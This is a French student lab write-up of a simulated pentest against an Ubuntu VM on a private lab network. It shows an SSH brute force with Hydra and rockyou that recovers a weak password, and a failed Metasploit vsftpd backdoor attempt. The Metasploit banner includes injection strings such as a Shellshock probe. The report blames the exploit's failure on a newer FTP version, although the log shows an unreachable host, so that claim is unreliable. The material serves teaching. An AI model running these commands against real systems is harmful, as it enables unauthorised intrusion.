COMPTE RENDU DU TP 3.1_CHAPITRE 3 : ATTAQUE D'UN SERVEUR LINUX (UBUNTU)

1. Introduction

1.1 Objectif du TP

L'objectif de ce TP était de passer de la théorie à la pratique en simulant une attaque réelle sur deux serveurs cibles (Ubuntu). Il s'agissait de comprendre l'impact d'une vulnérabilité identifiée et de démontrer comment un attaquant peut compromettre un système.

1.2 Environnement de Laboratoire

L'enjeu ici est de passer de la détection à l'exploitation : il ne suffit plus d'identifier une vulnérabilité, il faut en comprendre l'impact réel. En tant qu'**attaquant éthique (pentester)**, notre mission est de démontrer comment un attaquant pourrait prendre le contrôle des serveurs de l'entreprise.

- **Machine Attaquante :** Kali Linux (192.168.56.30)
- **Cible Linux :** Ubuntu (192.168.56.10)

2. Attaque par Brute Force SSH (Partie 1)

2.1 Méthodologie

L'objectif était d'exploiter la faiblesse d'un mot de passe sur le service SSH.

- **Outil utilisé :** Hydra

```
┌──(laurasimo㉿laura)-[~]
└─$ sudo hydra -l student -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.56.10
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purpose
s (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-26 19:27:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting,
 ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.56.10:22/
[STATUS] 134.00 tries/min, 134 tries in 00:01h, 14344265 to do in 1784:07h, 16 active
[STATUS] 3.27 tries/min, 248 tries in 01:15h, 14344151 to do in 73182:49h, 16 active
[STATUS] 8.21 tries/min, 656 tries in 01:19h, 14343743 to do in 29123:35h, 16 active
[22][ssh] host: 192.168.56.10   login: student   password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-26 20:54:50

┌──(laurasimo㉿laura)-[~]
└─$
```

Le dictionnaire rockyou.txt a permis de tester une multitude de combinaisons.

- **Résultat Hydra :** Le mot de passe a été trouvé : **password123.**

- **Accès obtenu :** Connexion réussie via ssh student@192.168.56.10.

```
┌──(laurasimo㉿laura)-[~]
└─$ sudo ssh student@192.168.56.10
[sudo] password for laurasimo:
student@192.168.56.10's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

664 updates can be installed immediately.
474 of these updates are security updates.
To see these additional updates run: apt list --upgradable

New release '22.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2025.
student@ubuntu:~$ whoami
student
student@ubuntu:~$ pwd
/home/student
student@ubuntu:~$ ls
student@ubuntu:~$
```

Analyse : Une fois connecté, les commandes **whoami, pwd** et **ls** confirment un accès utilisateur standard. Cela démontre qu'un mot de passe simple rend caduque toute la sécurité du service SSH.

3. Exploitation d'un service vulnérable avec Metasploit (Partie 2)

3.1 Identification et Préparation

Nous avons simulé l'exploitation d'une faille logicielle sur le service FTP (vsftpd).

- **Service ciblé :** vsftpd version 2.3.4 (connue pour sa "backdoor").

3.2 Exploitation

- **Outil :** Metasploit Framework (msfconsole).

```
┌──(laurasimo㉿laura)-[~]
└─$ sudo msfconsole
[sudo] password for laurasimo:
Metasploit tip: Use the resource command to run commands from a file


*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru*() { :;}; echo vulnerable*
*Team sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*exit*Vampire Bunnies*APT593*
*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult*
*edspiner*BFG*MagentaHats*0x01DA*Kaczuszki*AlphaPwners*FILAHA*Raffaela*HackSurYvette*outout*HackSouth*Corax*yeeb0iz*
*SKUA*Cyber COBRA*flaghunters*0x CD*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*InnotecLabs*baadf00d*BitSwitchers*0xnoobs*
*ItPwns - Intergalactic Team of PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital Krakens*ReadyPlayer1337*Team 443*
*H4CKSN0W*InfOUsec*CTF Community*DCZia*NiceWay*0x*BlueSky*ME3*Tipi'Hack*Porg Pwn Platoon*Hackerty*hackstreetboys*
*ideaengine007*eggcellent*H4x*cw167*localhorst*Original Cyan Lonkero*Sad_Pandas*FalseFlag*OurHeartBleedsOrange*SBWASP*
*Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber Mausoleum*scripterz*VetSec*norbot*Delta Squad Zero*Mukesh*
*x00-x00*BlackCat*ARESx*cxp*vaporsec*purplehax*RedTeam@MTU*UsalamaTeam*vitamink*RISC*forkbomb444*hownowbrowncow*
*etherknot*cheesebaguette*downgrade*FR!3ND5*badfirmware*Cut3Dr4g0n*dc615*nora*Polaris One*team*hail hydra*Takoyaki*
*Sudo Society*incognito-flash*TheScientists*Tea Party*Reapers of Pwnage*OldBoys*M0ul3Fr1t1B13r3*bearswithsaws*DC540*
*iMosuke*Infosec_zitro*CrackTheFlag*TheConquerors*Asur*4fun*Rogue-CTF*Cyber*TMHC*The_Pirhacks*btwIuseArch*MadDawgs*
*HInc*The Pighty Mangolins*CCSF_RamSec*x4n0n*x0rc3r3rs*emehacr*Ph4n70m_R34p3r*humziq*Preeminence*UMGC*ByteBrigade*
*TeamFastMark*Towson-Cyberkatz*meow*xrzhev*PA Hackers*Kuolema*Nakateam*L0g!c B0mb*NOVA-InfoSec*teamstyle*Panic*
*B0NG0R3*                                                                                    *Les Cadets Rouges*buf*
*Les Tontons Fl4gueurs*                                                                      *404 : Flag Not Found*
*' UNION SELECT 'password*                                                                   *OCD247*Sparkle Pony*
*burner_herz0g*                                                                              *Kill$hot*ConEmu*
*here_there_be_trolls*                                                                       *;echo"hacked"*
*r4t5_*6rung4nd4*NYUSEC*                                                                     *karamel4e*
*IkastenIO*TWC*balkansec*                                                                    *cybersecurity.li*
*TofuEelRoll*Trash Pandas*                                                                   *OneManArmy*cyb3r_w1z4rd5*
*Astra*Got Schwartz?*tmux*                                                                   *AreYouStuck*Mr.Robot.0*
```

- **Module utilisé :** exploit/unix/ftp/vsftpd_234_backdoor.
- **Configuration :** set RHOSTS 192.168.56.10.

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232           2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor   2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[-] 192.168.56.10:21 - Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.56.10:21) was unreachable.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
zsh: suspended  sudo msfconsole

┌──(laurasimo㉿laura)-[~]
```

La commande ***exploit/unix/ftp/vsftpd_234_backdoor*** cible une vulnérabilité très spécifique de vsftpd. D'après la figure ci-dessus, la commande n'a pas pu créer de session car la version de FTP est une version récente (**version 3.0.5)** et elle est moins vulnérable que les anciennes versions.

Conclusion

Ce TP démontre qu'une vulnérabilité n'est jamais purement théorique : elle est **rapidement exploitable**. À travers l'utilisation d'**Hydra** et de **Metasploit**, nous avons prouvé que des erreurs de configuration simples : comme un **mot de passe faible** ou un **service non mis à jour** suffisent à compromettre totalement un serveur Ubuntu.